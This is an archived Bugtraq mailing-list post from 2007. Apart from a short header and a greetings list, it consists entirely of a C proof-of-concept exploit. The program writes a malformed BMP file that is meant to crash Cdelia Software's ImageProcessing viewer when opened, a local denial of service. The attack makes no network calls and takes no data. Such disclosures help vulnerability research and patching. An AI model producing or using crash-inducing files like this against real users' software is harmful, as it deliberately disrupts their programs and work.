Bugtraq mailing list archives

ImageProcessing ... Local (Denial of Service Exploit)


From: Dr.Ninux () bsdmail org
Date: 24 Apr 2007 15:52:05 -0000

/*
**********************************
## Exploit Coded By Dr.Ninux ##
##       www.LeZr.com        ##
##  LeZr.com Security Team   ##
##    Dr.Ninux () bsdmail org   ##
**********************************
## 24 April 2007 , Tuesday
## This exploit will create an image (bmp)
## try to open it with "ImageProcessing" from Cdelia Software co.
## then the program will be die...!
**********************************
##
## grEEts to:
## Dr.Virus9,Qptan(Linux_Drox),Q8trojan,BataWeel,SAUDI,RoDhEDoR,
## Arab4services.com,The_DoN,aseer-alnjoom,Maxy,hacaar...AND milw0rm.com
##
*/
#include <stdio.h>
#include <stdlib.h>

#define INV_PIC "die.bmp"

int main()
{

        int i=0;
        char inv_[]="LOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOL";
        FILE* inv_pic;

        printf("\t\t**********************************\n");
    printf("\t\t  ## Exploit Coded By Dr.Ninux ##\n");
    printf("\t\t  ##       www.LeZr.com        ##\n");
    printf("\t\t  ##  LeZr.com Security Team   ##\n");
    printf("\t\t  ##    Dr.Ninux () bsdmail org   ##\n");
    printf("\t\t**********************************\n");
    printf("\n");

        if((inv_pic=fopen(INV_PIC,"wb"))==NULL)
        {
                printf("error:foepn().\n");
                exit(0);
        }

        printf("[+]Creating |invalid picture| ... plz wait.\n");
        
        for(i=0;i<sizeof(inv_);i++)
        {
                fputc(inv_[i],inv_pic);
        }

        fclose(inv_pic);
        printf("[+]BMP File %s Successfuly Created...\n",INV_PIC);

        return 0;
}


Current thread: